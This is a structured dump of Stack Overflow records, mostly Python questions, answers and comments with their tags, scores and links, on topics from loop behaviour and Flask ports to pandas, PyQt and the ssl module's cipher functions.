has body: I noticed that in Python it is possible to mimic while-loops using for-loops (I know very little about coding). I was then trying to construct two identical while-loops using the two different formulations. It seems to me that it is the case here (is it?) # for-loop formulation index = [0] for a in index: if a &lt; 6: index.append(a + 1) # while-loop formulation index = [0] while index[-1] &lt; 6: index.append(index[-1] + 1) What confuses me is that I thought that once the list index is updated/changed the for-loop would restart from the beginning, as the list could have changed dramatically at any cycle. For example if you run #3 index = [0] for a in index: print a if a &lt; 6: index.append(a+1) if a &gt; 3: index = [1, 3] print index you get the output 0 [0, 1] 1 [0, 1, 2] 2 [0, 1, 2, 3] 3 [0, 1, 2, 3, 4] 4 [1, 3] 5 [1, 3] where the a is not part of the new index [1, 3] in the last step. Hence three questions: Are the two programs #1 and #2 at the beginning different (for example, is their computational effort different?) What is happening in program #3 (why is the 'for a in index:' command apparently ignored in the last step?), and how does the for-loop react to changes in the updating index in general? Are there general guidelines on using for loops as while loops (I noticed that I found it helpful in a specific case, so I was wondering for some general tips in this direction).
tagged with: python-2.7
tagged with: for-loop
has comment: http://stackoverflow.com/comment/84558189
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84558025
has comment: http://stackoverflow.com/comment/84558050
favorite count: 0
has comment: http://stackoverflow.com/comment/84558648

http://stackoverflow.com/comment/84397981
score: 0
has text: you can try `f.encode("utf-8")`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48699661

median
tags question: http://stackoverflow.com/q/48667218
type: Tag
tag name: median

http://stackoverflow.com/comment/84492991
type: QuestionComment
type: Comment
has text: I have tried but I don't know what i am doing wrong. my attempt is in the edit above.
comment on: http://stackoverflow.com/q/48745947
score: 0

http://stackoverflow.com/q/48682476
has comment: http://stackoverflow.com/comment/84378481
tagged with: python
has comment: http://stackoverflow.com/comment/84362585
has comment: http://stackoverflow.com/comment/84362106
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84362183
accepted answer: http://stackoverflow.com/a/48682590
tagged with: microsoft-graph-api
type: Question
has answer: http://stackoverflow.com/a/48682590
answer count: 1
has body: I'm trying to run a Python sample for using Microsoft Graph. It uses Flask libraries for a mini-application that can be run using the Flask's standalone web server. I've modified the application initialization line as APP.run(port=9999) And it starts running successfully at http://localhost:9999/, but then after a step, it redirects to http://localhost:5000 which is problematic. If I change the initial part of the URL in my browser to http://localhost:9999 and hit ENTER, it continues to function as expected. How can tell Flask to "redirect to the URL with the port number I declared in APP.run"?
tagged with: flask
has title: How to prevent Flask redirecting to the default port of 5000?
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/84362065
has comment: http://stackoverflow.com/comment/84362369
favorite count: 0
has comment: http://stackoverflow.com/comment/84362509

http://stackoverflow.com/q/48715504
has comment: http://stackoverflow.com/comment/84431078
tagged with: python
tagged with: tkinter
downvote count: 1
has title: My code for drawing will not receive values quickly enough to draw a steady line
type: Question
upvote count: 0
score: -1
answer count: 1
has answer: http://stackoverflow.com/a/48715603
has comment: http://stackoverflow.com/comment/84430404
favorite count: 0
type: UnansweredQuestion
has body: I receive this error from my code: motion() takes exactly 1 argument (0 given). How can I rework it or what do I need to change in order to get my code to draw a steady line or retrieve x and y values of the mouse quicker. import Tkinter from Tkinter import* root = Tkinter.Tk() root.wm_title("PY Paint") master = root red_intvar = Tkinter.IntVar() red_intvar.set(127) blue_intvar = Tkinter.IntVar() blue_intvar.set(127) green_intvar = Tkinter.IntVar() green_intvar.set(127) r = 5 radius_intvar = Tkinter.IntVar() radius_intvar.set(5) mouse_released = True mouse2_released = True lines= IntVar() '''initialize variables for the radius, radius slider, red, green, and blue color value, as well as the canvas''' def new_radius(radius_intvar): global r r = radius_slider.get() r.append '''creates a function for changing the radius of the circle when the slider is changed''' canvas = Canvas(master, width= 1400, height = 800, relief=RAISED, bg='white') canvas.grid() Checkbutton(master, text='lines', variable=lines).grid(row=0, stick=W) '''creates a canvas on which to draw''' red_slider = Tkinter.Scale(master, from_=0, to=255, variable=red_intvar, orient=Tkinter.VERTICAL, label = 'Red') red_slider.grid(row=0, column=1, sticky=Tkinter.E) blue_slider = Tkinter.Scale(master, from_=0, to=255, variable=blue_intvar, orient=Tkinter.VERTICAL, label = 'Blue') blue_slider.grid(row=0, column=2, sticky=Tkinter.E) green_slider = Tkinter.Scale(master, from_=0, to=255, variable=green_intvar, orient=Tkinter.VERTICAL, label = 'Green') green_slider.grid(row=0, column=3, sticky=Tkinter.E) radius_slider = Tkinter.Scale(master, from_=1, to=20, variable=radius_intvar, orient=Tkinter.VERTICAL, label = 'Pen Size', command= new_radius) radius_slider.grid(row=0, column=4, sticky=Tkinter.E) '''initializes and lays out the sliders for the color values and radius calue of the circle''' def clear(): canvas.create_rectangle(0, 0, 1400, 800, fill='white', outline='white') clear_button = Button(master, text="clear"…

http://stackoverflow.com/a/49275189
downvote count: 1
has body: You are referring to a class attribute. You can tell it by the traceback "AttributeError: type object 'Sheep' has no attribute 'x'". Each class in python has it's metaclass, the default metaclass is 'type', so "type object 'Sheep'" refers to the class Sheep. If you want to have access to another object, you should pass it as an argument to a method e.g. "def wolfkill(self, sheep)". To get an intuition about class attributes, try thinking of them as the ones that generally don't change, they describe the sheep in general, but tell you nothing about the individual sheep (which instance attributes are used for). In order to solve your main problem (acting when a sheep meets a wolf), you might want to read about the Observer Pattern. I hope this helps, Good Luck!
score: -1
upvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48779613

http://stackoverflow.com/comment/84444046
score: 0
comment on: http://stackoverflow.com/a/48722560
type: Comment
has text: What should I do with my code to get expected output for example 2?
type: AnswerComment

http://stackoverflow.com/q/48705527
downvote count: 0
has answer: http://stackoverflow.com/a/48706765
type: AnsweredQuestion
score: 1
favorite count: 0
type: Question
has title: Fail to retrieve JSON entity from Google Datastore using BigQuery
tagged with: google-app-engine
accepted answer: http://stackoverflow.com/a/48706765
tagged with: python
answer count: 1
has body: I'm trying to export an entity from Google Data Store to Big Query (and then to CSV). When I create the dataset, everything turns fine except for one missing variable that is supposed to be a JSON.(ndb.JsonProperty()) Looking at this entity variable in the datastore, it seems to be an encoded JSON (eg : ...0NzIyMDUyODkiLCAidXNlcl9uYW1lIjogIlZpbmNlbnQgR...) My only purpose is to export this entity from the datastore using Big Query, Python or whatever needed, in order to explore the data.
tagged with: http://stackoverflow.com/tag/json
upvote count: 1
tagged with: google-bigquery
tagged with: google-cloud-datastore

http://stackoverflow.com/comment/84512344
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/48754734
has text: Hmm, I had a hunch that scraping from such a dynamic web page was going to be more difficult than I thought. Thanks for letting me know what exactly I'm looking at with AJAX calls and all that. Would you be able to point me in the right direction for what resources I should learn/read about in order to do this? I'm teaching myself from the ground up so this is uncharted territory for me. Thanks so much!

http://stackoverflow.com/comment/84379106
comment on: http://stackoverflow.com/q/48690445
type: Comment
type: QuestionComment
score: 1
has text: Please MAKE SURE your are in the right directory. The behavior you described seems very unlikely to be an error in your code. A more likely possibility is that you are looking at different versions of the text files and your Python script inside the terminal and IDLE. Note: Run the `pwd` command to display the current working directory.

http://stackoverflow.com/a/48718081
downvote count: 0
has body: This is a bug. Looking at the C implementation for the ssl module one can see that both get_ciphers and shared_ciphers are implemented by using SSL_get_ciphers, albeit one using the context as base and the other the SSL object from the current connection. And SSL_get_ciphers accesses the cipher_list property from the SSL or context object which seems to be the list of originally configured ciphers. I think the proper function to get the shared ciphers is actually SSL_get_client_ciphers. This functions accesses ssl-&gt;session-&gt;ciphers, same as the more clearly named (but undocumented) SSL_get_shared_ciphers function. SSL_get_client_ciphers is only available since OpenSSL 1.1.0 so one would need to directly access ssl-&gt;session-&gt;ciphers for older versions. It looks like OpenSSL does not provide such functionality at all and thus Python cannot really provide this functionality too. The functions SSL_get_client_ciphers, SSL_get_shared_ciphers and access to ssl-&gt;session-&gt;ciphers all provide access to the ciphers offered by the client, i.e. exactly what the name SSL_get_client_ciphers suggests and contrary to what SSL_get_shared_ciphers suggests. This information gets combined with the server side cipher_list inside the internal ssl3_choose_cipher function where the common cipher gets chosen. Getting the actually shared ciphers (which are additionally restricted by what kind of certificate is used) would mean to reimplement major parts of this function. Funnily, it looks like the OpenSSL developers don't even know what ssl-&gt;session-&gt;ciphers really contains. Since the 0.9.8 days up to the latest version of OpenSSL one can find the following documentation for the ciphers member of the ssl_session_st structure: STACK_OF(SSL_CIPHER) *ciphers; /* shared ciphers? */ Based on this they seem to (wrongly) think that this structure contains the shared ciphers but they are not sure. Note that I've filed a bug for Python about this wrongly implemented functionali…
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/84442976
upvote count: 2
answers question: http://stackoverflow.com/q/48717497
has comment: http://stackoverflow.com/comment/84443177
accepted answer of: http://stackoverflow.com/q/48717497
type: AcceptedAnswer

http://stackoverflow.com/comment/84404156
has text: You could also pass `AcceptDef` (or any other callback function) as a parameter to `getImap`, but IMHO `yield` is the better way.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48702918
type: Comment

http://stackoverflow.com/comment/84597639
type: AnswerComment
has text: i would recommend to do `sex = 5 if sex.lower() == 'male' else -161`
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48797425

http://stackoverflow.com/comment/84308446
has text: I understand, the second code snippet is the way you suggested to replace with. But I still don't quite get what you quote from the docs, and don't understand where that `[-3]` comes from
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/48655171
type: Comment

http://stackoverflow.com/comment/84388652
comment on: http://stackoverflow.com/a/48690169
score: 0
type: Comment
has text: Yes, that is right. On the other hand, I actually tried to figure out ‘previous 2’ just like ‘next 2’ thing never worked. Is there a reason behind that ?
type: AnswerComment

http://stackoverflow.com/comment/84457227
type: Comment
comment on: http://stackoverflow.com/a/48719657
type: AnswerComment
has text: MQ Light clients work with IBM MQ over AMQP channels. You'll need at least an MQ 8.0.0.4 which is when MQ added support for AMQP channels.
score: 0

http://stackoverflow.com/a/48700945
has body: Add a vertical spacer to the layout: from PyQt5.QtWidgets import * class Dialog(QDialog): def __init__(self, parent=None): super(Dialog, self).__init__(parent) self.setLayout(QVBoxLayout()) layout = QHBoxLayout() self.layout().insertLayout(0, layout) lineedit = QLineEdit(self) layout.addWidget(lineedit) # version (1): add vertical, expanding spacer item self.layout().addItem( QSpacerItem(0, 0, QSizePolicy.Minimum, QSizePolicy.Expanding)) # version (2): use "addStretch" # self.layout().addStretch() button = QPushButton(self) button.setText('ok') self.layout().addWidget(button) self.show() app = QApplication(list()) dialog = Dialog() app.exec_() A QSpacerItem is just an unstyled, blank space, that consumes horizontal and vertical space in the layout according to its size policies. QSpacerItem's parameters: w - preferred width, 0 h - preferred height, 0 hPolicy - horizontal size policy, QSizePolicy.Minimum => the preferred width is sufficient, the item will not expand horizontally vPolicy - vertical size policy, QSizePolicy.Expanding => the item can make use of extra space, and thus will expand vertically and take all available space See https://doc.qt.io/qt-5/qspaceritem.html#QSpacerItem and http://doc.qt.io/qt-5/qsizepolicy.html#Policy-enum for details.
type: Answer
has comment: http://stackoverflow.com/comment/84428628
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48699298
has comment: http://stackoverflow.com/comment/84437422
accepted answer of: http://stackoverflow.com/q/48699298
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/48661567
answers question: http://stackoverflow.com/q/48660336
has comment: http://stackoverflow.com/comment/84321709
type: AcceptedAnswer
upvote count: 1
has comment: http://stackoverflow.com/comment/84321751
has body: It seems you need combination of all employees with timestamps and then add parameter by: from itertools import product t = pd.date_range(start=schedule.start.min(), end=schedule.end.max(), freq='2H') e = schedule['employee'].unique().tolist() shifts = pd.DataFrame(list(product(t,e)), columns=['timestamp','employee']) print (shifts.head(10)) timestamp employee 0 2017-01-01 00:59:00 KC 1 2017-01-01 00:59:00 IT 2 2017-01-01 00:59:00 ED 3 2017-01-01 00:59:00 NK 4 2017-01-01 02:59:00 KC 5 2017-01-01 02:59:00 IT 6 2017-01-01 02:59:00 ED 7 2017-01-01 02:59:00 NK 8 2017-01-01 04:59:00 KC 9 2017-01-01 04:59:00 IT mrg = pd.merge_asof(shifts, schedule, left_on='timestamp', right_on='start', by='employee').query('timestamp &lt;= end') print (mrg) timestamp employee end start 0 2017-01-01 00:59:00 KC 2017-01-01 09:59:00 2017-01-01 00:59:00 4 2017-01-01 02:59:00 KC 2017-01-01 09:59:00 2017-01-01 00:59:00 8 2017-01-01 04:59:00 KC 2017-01-01 09:59:00 2017-01-01 00:59:00 9 2017-01-01 04:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 12 2017-01-01 06:59:00 KC 2017-01-01 09:59:00 2017-01-01 00:59:00 13 2017-01-01 06:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 16 2017-01-01 08:59:00 KC 2017-01-01 09:59:00 2017-01-01 00:59:00 17 2017-01-01 08:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 21 2017-01-01 10:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 25 2017-01-01 12:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 29 2017-01-01 14:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 33 2017-01-01 16:59:00 IT 2017-01-01 18:00:00 2017-01-01 04:59:00 50 2017-01-02 00:59:00 ED 2017-01-02 09:59:00 2017-01-02 00:59:00 54 2017-01-02 02:59:00 ED 2017-01-02 09:59:00 2017-01-02 00:59:00 58 2017-01-02 04:59:00 ED 2017-01-02 09:59:00 2017-01-02 00:59:00 62 2017-01-02 06:59:00 ED 2017-01-02 09:59:00 2017-01-02 00:59:00 66 2017-01-02 08:59:00 ED 2017-01-02 09:59:00 2017-01-02 00:59:00 67 2017-01-02 08:59:00 NK 2017-01-02 15:59:00 2017-01-02 08:00:00 69 2017-01-02 10:59:00 IT 2017-01-02 18:0…
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/48660336

http://stackoverflow.com/comment/136976598
score: 0
type: Comment
has text: You've saved the day
comment on: http://stackoverflow.com/a/70520353
type: AnswerComment

http://stackoverflow.com/a/48780724
has body: To learn how to run Python Python programs on a Mac, read Chapters 1 and 4 of Python Setup and Usage. Running from an IDLE editor is just one way. IDLE uses the tkinter module which wraps the tcl/tk GUI framework. Did you read and follow the instructions of how to replace the buggy tcl/tk that Apple supplies? Read the entire page before starting! Ignoring this page is the most common reason people have problems with IDLE on the Mac. There are a few others, but I do not remember one that matches your description.
type: Answer
accepted answer of: http://stackoverflow.com/q/48750115
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48750115

http://stackoverflow.com/comment/84487555
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48743367
has text: https://stackoverflow.com/questions/41573587/what-is-the-difference-between-venv-pyvenv-pyenv-virtualenv-virtualenvwrappe

http://stackoverflow.com/q/48728563
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84459909
tagged with: xcode
linked to: http://stackoverflow.com/q/31106958
tagged with: turi-create
favorite count: 0
tagged with: terminal
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84459942
has comment: http://stackoverflow.com/comment/88480770
tagged with: python
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/84459939
has answer: http://stackoverflow.com/a/54843762
type: Question
has comment: http://stackoverflow.com/comment/84465224
answer count: 1
downvote count: 0
has title: Not being able to use turicreate
has body: I am trying to use turicreate. I installed it on my device (sudo python2.7 -m pip install turicreate) And when I ran my code (in terminal on Mac), I got a long error message. I believe that the significant part is as follows: ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/cython/cy_unity.so, 2): Symbol not found: _syslog$DARWIN_EXTSN Here is the integrity of it for reference: Traceback (most recent call last): File "classifier.py", line 1, in &lt;module&gt; import turicreate as turi File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/__init__.py", line 30, in &lt;module&gt; from turicreate.data_structures.sgraph import Vertex, Edge File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/data_structures/__init__.py", line 18, in &lt;module&gt; from . import sframe File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/data_structures/sframe.py", line 16, in &lt;module&gt; from ..connect import main as glconnect File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/connect/main.py", line 13, in &lt;module&gt; from ..cython.cy_unity import UnityGlobalProxy ImportError: dlopen(/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/cython/cy_unity.so, 2): Symbol not found: _syslog$DARWIN_EXTSN Referenced from: /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/cython/../libunity_shared.dylib (which was built for Mac OS X 10.13) Expected in: /usr/lib/libSystem.B.dylib in /Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/site-packages/turicreate/cython/../libunity_shared.dylib What is the problem here?
has comment: http://stackoverflow.com/comment/84465080

http://stackoverflow.com/q/48649645
tagged with: pyside
has comment: http://stackoverflow.com/comment/84303902
has title: QTableView model using QComboBox
type: Question
has comment: http://stackoverflow.com/comment/84303942
has body: In this example below I have a simple QTableView which is populated using an AbstractModel. Each row in the table displays information related to a class object called Asset. It has a property called Items that contains a list of strings. I want to know how can i populate the QTableView with a combobox displaying this list of strings for each row. Secondly when a user changes the item selected in the dropdown, i would like to trigger an event so i can later use it to properly change the color of the colored dot to green or red depending on the object's property called 'Status' The status would indicate if the Current Version (meaning the latest item in the dropdown list) is the chosen item. If its the last item in the list, meaning the latest item, it would be green, otherwise it's red. The property 'Active' indicates which item in the dropdownlist is currently selected. If the status is 0 then it's out dated and if the status is 1 that means the latest version in the dropdownlist is being used. import sys from PySide import QtGui, QtCore class Asset(object): def __init__(self, name, items=None, status=0, active=0): self._status = 0 self._name = '' self._items = [] self._active = active self.name = name self.items = items if items != None else [] self.status = status class AssetModel(QtCore.QAbstractTableModel): attr = ["Name", "Options"] def __init__(self, *args, **kwargs): QtCore.QAbstractTableModel.__init__(self, *args, **kwargs) self._items = [] def clear(self): self._items = [] self.reset() def rowCount(self, index=QtCore.QModelIndex()): return len(self._items) def columnCount(self, index=QtCore.QModelIndex()): return len(self.attr) def addItem(self, sbsFileObject): self.beginInsertRows(QtCore.QModelIndex(), self.rowCount(), self.rowCount()) self._items.append(sbsFileObject) self.endInsertRows() def headerData(self, section, orientation, role=QtCore.Qt.DisplayRole): if orientation == QtCore.Qt.Horizontal and role == QtCore.Qt.DisplayRole: return AssetModel.attr…
has comment: http://stackoverflow.com/comment/84301310
has comment: http://stackoverflow.com/comment/84303583
has answer: http://stackoverflow.com/a/48674619
answer count: 1
downvote count: 0
favorite count: 0
tagged with: qcombobox
upvote count: 2
tagged with: python
accepted answer: http://stackoverflow.com/a/48674619
tagged with: qtableview
has comment: http://stackoverflow.com/comment/84308898
has comment: http://stackoverflow.com/comment/84299025
has comment: http://stackoverflow.com/comment/84334442
score: 2
type: AnsweredQuestion

http://stackoverflow.com/q/48660152
type: Question
has answer: http://stackoverflow.com/a/48745883
has title: Unable to get campaigns data to push to database in google adwords api
answer count: 1
tagged with: google-ads-api
has body: I am facing a couple of issues in figuring out what-is-what, in spite of the humungous documentation I am unable to figure out these issues 1.Which report type should be used to get the campaign level totals. I am trying to get the data in the format of headers -campaign_id|campaign_name|CLicks|Impressions|Cost|Conversions. 2.I have tried to use "CAMPAIGN_PERFORMANCE_REPORT" but I get broken up information at a keyword level, but I am trying to pull the data at a campaign level. 3.I also need to push the data to a database. In the API documentation, i get samples which will either print the results on my screen or it will create a file on my machine. is there a way where I can get the data in JSON to push it to the database. 4.I have 7 accounts on my MCC account as of now, the number will increase in the coming days. I don't want to manually hard code the client customer ids into my code as there will be new accounts which will be created. is there a way where I can get the list of client customer ids which are on my MCC ac I am trying to get this data using python as my code base and adwords api V201710.
score: 0
tagged with: python
tagged with: python-3.x
tagged with: google-api
type: UnansweredQuestion

http://stackoverflow.com/q/48685701
score: -1
answer count: 3
has title: Why cannot I not do the string formatting at the start of a variable python
downvote count: 1
has answer: http://stackoverflow.com/a/48685751
has answer: http://stackoverflow.com/a/48685761
accepted answer: http://stackoverflow.com/a/48685751
has body: Why does this work: with open(filename+'%s' % i, "w") But this doesn't: with open('%s'+filename % i, "w") I want to add the number of i to the start of the filename each time it loops through. But adding it at the end adds the number to the extension example - filname.xml0
type: AnsweredQuestion
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84369325
type: Question
possible better answer: http://stackoverflow.com/a/48685753
has answer: http://stackoverflow.com/a/48685753
tagged with: python

http://stackoverflow.com/comment/84456480
score: 0
has text: @juanpa.arrivillaga Unfortunately Yes. For those curious, this the output obtainedfitsfile reader " FV-viewer" output text file.
comment on: http://stackoverflow.com/q/48728626
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48697622
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84394045
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/84394040
type: Question
has answer: http://stackoverflow.com/a/48697675
upvote count: 0
score: -1
has title: Python not printing everything
tagged with: python-2.7
answer count: 1
has body: I love you all. First time with Python, I am reading in a csv with 10842 cities and counting how many occurrences there are of each. When I print to terminal it outputs the first 29 cities, prints ... and then prints 10813 - 10842. This is the code: import pandas as pd df = pd.read_csv('Csz.csv') s = df['City'].value_counts().rename('Total_City') df = df.join(s, on='City') print (df) I'm a bit lost on how to get all of them to print, and hopefully after will figure out how to remove duplicates. Thank you for your help!
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/a/48756879
accepted answer of: http://stackoverflow.com/q/48692991
type: Answer
has body: For anyone curious, found my issue. Think the main problem was I was not putting the widget which I wanted to use to control the plot xrange and the actual plot itself within the same layout object. Therefore, when I was calling components on the plot object it didn't include the widget. Then when I included the widget with the plot it worked. See below updates and the updated github repo: (credit to this post for significantly helping me: Flask + Bokeh AjaxDataSource) complete file: https://github.com/hhprogram/PyramidSite/blob/master/webgraphing/views/ajaxView.py) code snippet: source = AjaxDataSource(data={"time": [], "temperature": [], "id": []}, data_url='http://localhost:6543/AJAXdata', polling_interval=100, mode='append') livePlot = figure(x_axis_type="datetime", x_range=[startDt, endDt], y_range=(0,25), y_axis_label='Temperature (Celsius)', title="Sea Surface Temperature at 43.18, -70.43", plot_width=800) livePlot.line("time", "temperature", source=source) jsResources = INLINE.render_js() cssResources = INLINE.render_css() updateStartJS = CustomJS(args=dict(plotRange=livePlot.x_range), code=""" var newStart = Date.parse(cb_obj.value) plotRange.start = newStart plotRange.change.emit() """) updateEndJS = CustomJS(args=dict(plotRange=livePlot.x_range), code=""" var newEnd = Date.parse(cb_obj.value) plotRange.end = newEnd plotRange.change.emit() """) startInput = TextInput(value=startDt.strftime(dateFmt), title="Enter Date in format: YYYY-mm-dd") startInput.js_on_change('value', updateStartJS) endInput = TextInput(value=endDt.strftime(dateFmt), title="Enter Date in format: YYYY-mm-dd") endInput.js_on_change('value', updateEndJS) textWidgets = row(startInput, endInput) # NOTE: this is important. Need to have the widgets and plot within same object that is the argument for components() method layout = column(textWidgets, livePlot) script, div = components(layout)
upvote count: 4
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48692991
score: 4

http://stackoverflow.com/q/48710912
accepted answer: http://stackoverflow.com/a/48710949
favorite count: 0
has title: Python Regex: (\w+) not picking up up numbers with 2 digits or less
tagged with: regex
has comment: http://stackoverflow.com/comment/84422503
upvote count: 1
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48710949
score: 1
has body: I am trying to use python's regex to recognize 3 tokens from the user which can all be composed of either letters or numbers. Here is the code I was using: match = re.search(r'(\w+)(\w+)(\w+)', inputStr) if not match: print("Not valid") else: numWord1 = match.group(0) numword2 = match.group(1) numWord3 = match.group(2) print(num1) where inputStr comes from raw_input(). I ran my code, and here's what I get for each input I typed: 1 2 3 I got: Not valid I typed: 11 22 33 I got: Not valid I typed: 111 222 333 I got: 111 I typed: 1 hello 3 I got: hello I typed: hello 2 3 I got: hello I thought \w matched any letter, digit, or underscore, and by including the + I would get 1 or more instances of it in my group.
has comment: http://stackoverflow.com/comment/84422336
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48710956
has comment: http://stackoverflow.com/comment/84420860
has answer: http://stackoverflow.com/a/48710956
downvote count: 0
has comment: http://stackoverflow.com/comment/84420814

http://stackoverflow.com/comment/84349931
type: AnswerComment
score: 0
has text: Thx for the reply. I didn't realise that the axis parameter could have an array, that sounds like it should work. however I get an error: TypeError: only integer scalar arrays can be converted to a scalar index. (i'm using numpy v14)
comment on: http://stackoverflow.com/a/48675648
type: Comment

http://stackoverflow.com/q/48768488
downvote count: 0
tagged with: keras
favorite count: 0
tagged with: python
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
has body: Here is the code I'm loading the pre-trained model img_width, img_height = 299, 299 model=applications.resnet50.ResNet50(input_shape=(img_width, img_height,3),weights='imagenet', include_top=False) Freezing all layers of resnet for layer in model.layers: layer.trainable = False stacking FC layers x = model.output x = Flatten()(x) x = Dense(512, activation='relu')(x) x = Dropout(0.5)(x) x = Dense(512, activation='relu')(x) x = Dropout(0.5)(x) predictions = Dense(20, activation='softmax')(x) model_final = Model(input = model.input, output = predictions) Now I'm compiling and fitting random test samples model_final.compile(loss='categorical_crossentropy', optimizer='adam',metrics=['accuracy']) s=np.random.rand(10,20) s1=np.divide(s.T,np.sum(s,axis=1)).T model_final.fit(np.random.rand(10,299,299,3),s1, nb_epoch = 30, callbacks=[], validation_data=None) During training phase I'm getting Nan as the loss Epoch 1/30 10/10 [==============================] - 0s - loss: nan - acc: 0.1000 even while train with actual dataset also, its giving 'nan' I couldn't find nan at each layers output. I'm unable figure out was might be causing this error.
type: Question
has title: I am getting loss=nan while training the FC layer of resnet with pretrained weights in keras

http://stackoverflow.com/q/48770052
has comment: http://stackoverflow.com/comment/84551687
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84542292
has answer: http://stackoverflow.com/a/48775281
accepted answer: http://stackoverflow.com/a/48775281
tagged with: legend
tagged with: python
has body: I would like to draw a curly bracket for two lines of the legend, like so: I am able to create everything with pyplot except for the curly bracket using plt.plot([],[],"ro",label="a") plt.plot([],[],"bo",label="b") plt.legend(frameon=False,loc="upper left") plt.annotate("some property", xy=(0.31, 0.7), xycoords='figure fraction', xytext=(0.31, 0.79), textcoords='figure fraction', arrowprops=dict(arrowstyle="-",lw=0 ) ) plt.plot() Any help would be greatly appreciated.
type: Question
type: AnsweredQuestion
tagged with: matplotlib
has title: Draw a curly bracket over two lines in a matplotlib legend
score: 10
upvote count: 10

http://stackoverflow.com/comment/84355653
has text: FWIW I used MSVC++ here at home and compiling your extern "C" function with a valarray "just worked" linking to the shared C++ runtime and using ctypes.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48675152
score: 0

http://stackoverflow.com/a/48660999
upvote count: 11
has body: Note: if you write: if &lt;expr&gt;: pass then Python will not check that &lt;expr&gt; == True, it will evaluate the truthiness of the &lt;expr&gt;. Objects have some sort of defined "truthiness" value. The truthiness of True and False are respectively True and False. For None, the truthiness is False, for numbers usually the truthiness is True if and only if the number is different from zero, for collections (tuples, sets, dictionaries, lists, etc.), the truthiness is True if the collection contains at least one element. By default custom classes have always True as truthiness, but by overriding the __bool__ (or __len__), one can define custom rules. The truthiness of tuple is True given the tuple itself contains one or more items (and False otherwise). What these elements are, is irrelevant. In case you want to check that at least one of the items of the tuple has truthiness True, we can use any(..): if not any(details): # all items are empty return Response({}) else: print "Not null" So from the moment the list contains at least one element, or the dictonary, or both, the else case will fire, otherwise the if body will fire. If we want to check that all elements in the tuple have truthiness True, we can use all(..): if not all(details): # one or more items are empty return Response({}) else: print "Not null"
has comment: http://stackoverflow.com/comment/84364147
has comment: http://stackoverflow.com/comment/84319916
answers question: http://stackoverflow.com/q/48660923
accepted answer of: http://stackoverflow.com/q/48660923
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84319893
type: Answer
has comment: http://stackoverflow.com/comment/84331440
score: 11

http://stackoverflow.com/a/48672098
answers question: http://stackoverflow.com/q/48671317
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: Here's one way: import pandas as pd from toolz import concat import scipy df1 = pd.DataFrame([[3, 216, 13], [4, 218, 12], [5, 217, 12]], columns=['car', 'x', 'y']) df1 = df1.set_index('car') df2 = pd.DataFrame([[5, 253, 180], [6, 241, 24], [8, 217, 14]], columns=['tree', 'x', 'y']) df2 = df2.set_index('tree') indices = list(map(list, zip(*[(x, y) for x in df1.index for y in df2.index]))) distance = scipy.spatial.distance.cdist(df1, df2, metric='euclidean') df3 = pd.DataFrame({'car': indices[0], 'tree': indices[1], 'distance': list(concat(distance))}) df4 = df3[df3['distance'] &lt; 5]

http://stackoverflow.com/comment/84362516
has text: This seems satisfying enough. I'm not marking the answer accepted in case someone shows up with some existing library doing that, but it seems easy enough to do it given those databases.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48681522

http://stackoverflow.com/comment/84298474
has text: [`CreateSwappedType()`](https://github.com/python/cpython/blob/master/Modules/_ctypes/_ctypes.c#L1833) shows no way to distinguish between them, so you may be SOL.
type: Comment
comment on: http://stackoverflow.com/q/48650192
type: QuestionComment
score: 1

http://stackoverflow.com/q/48666620
has comment: http://stackoverflow.com/comment/84334862
tagged with: selenium-webdriver
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48692986
has comment: http://stackoverflow.com/comment/84335970
